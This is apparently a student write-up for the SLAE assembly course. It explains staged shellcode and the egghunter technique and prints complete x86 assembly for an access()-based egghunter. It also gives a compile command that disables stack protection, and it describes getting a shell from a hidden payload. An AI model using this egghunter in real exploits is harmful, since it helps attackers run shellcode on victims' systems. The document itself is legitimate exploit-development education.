*all supporting code can be found here*
Student ID: SLAE - 1532
This assignment will see us create and examine staged shellcode containing the “Egghunting” technique.
“But Why do we need staged shellcode? Can’t we just pwn it!!?”
Sometimes the amount of space in bytes that we have control over initially is too small, so the initial payload simply goes and retrieves the second part of the payload from the attacker, C2 etc.
Egghunting expands on the above by prepending a byte sequence (egg) at the beginning of your final shellcode, so that the “whole egg” can be located in memory and executed.
- we place our shellcode with the egg prepended twice in memory
- We tell the egg hunter to look for our egg, it does this by checking current memory address for our “egg” eg “0x50905090”
- If not there, move onto next memory address
- once it is located, make sure there are two instances next to each other (8bytes) to avoid finding your hunter which will obviously contain one instance of our code
- Once located, jmp to the located shellcode!
In addition to the above, an egghunter must be resilient to errors and take up minimal space.
How can we do this with code?
- We will need to make use of the access syscall in a loop, to tell whether or not a page of memory is accessible. (access syscall is perfect as it requires only one argument, and simply checks it can access memory, it does not write anything)
- If the current memory page is not accessible, we move up one memory page, using page_align
- If the memory IS accessible, we will look for our prepended egg by comparing the pointer with our egg
How does page align work?
Consider the below binary values, and remember how the bitwise operand or works.
Any value lower than 4095 will become 4095 when or’ing it, and after we increment by 1 (making it 4096) and or again, we will get 8191. When we increment THAT and or again, we get 12287. This makes perfect sense as we look at the binary values below, keeping or in mind.
4095 = 0000 1111 1111 1111
4096 = 0001 0000 0000 0000
8191 = 0001 1111 1111 1111
8192 = 0010 0000 0000 0000
12287 = 0010 1111 1111 1111
How DO we do this with code?
global _start section .text _start: ; lay our egg xor ebx, ebx xor ecx, ecx mov ebx, 0x50905090 ; egg mul ecx ; this one instruction sets both eax and edx to 0, this is because mul results are stored in EAX and EDX ; build page_align page_align: or dx, 0xfff ; set dx to 4095, 4096 contains nulls!! ; build next_addr next_addr: inc edx ; as explained above, necessary to move forward after or operation, to a multiple of 4096 pushad ; push all registers onto the stack to preserve them during syscall lea ebx, [edx+4] ; point to path being validated mov al, 33 ; mov syscall value for accept int 0x80 cmp al, 0xf2 ; after we interrupt, check if the return value that of EFAULT popad ; return the registers we preserved earlier je page_align ; if EFAULT present jump to page_align cmp [edx], ebx ; see if our egg is inside address of edx jne next_addr ; egg not inside? jump to address_check, otherwise continue cmp [edx+4], ebx ; perform second check to vet out our hunter from result] jne next_addr ; second egg not inside? jump to address_check, otherwise execute jmp edx ; jump to past where we found the egg and execute code
We test out our egg hunter by modifying the c code from our previous assignments, and simply add another variable that contains our egghunter and change the return argument from the shellcode to our egghunter, so the value is stored in memory but never called directly.
Here is a copy of the code, we compile with
gcc -fno-stack-protector -z execstack shellcode.c -o shell
As below, testing with shellcode gives us a shell:
Something very, very cool about this compiled binary: if we run
strace on it, we can see it smashing through the addresses until it hits our egg, builds our socket, dups the fds and sends the shell!
Egg hunt complete!!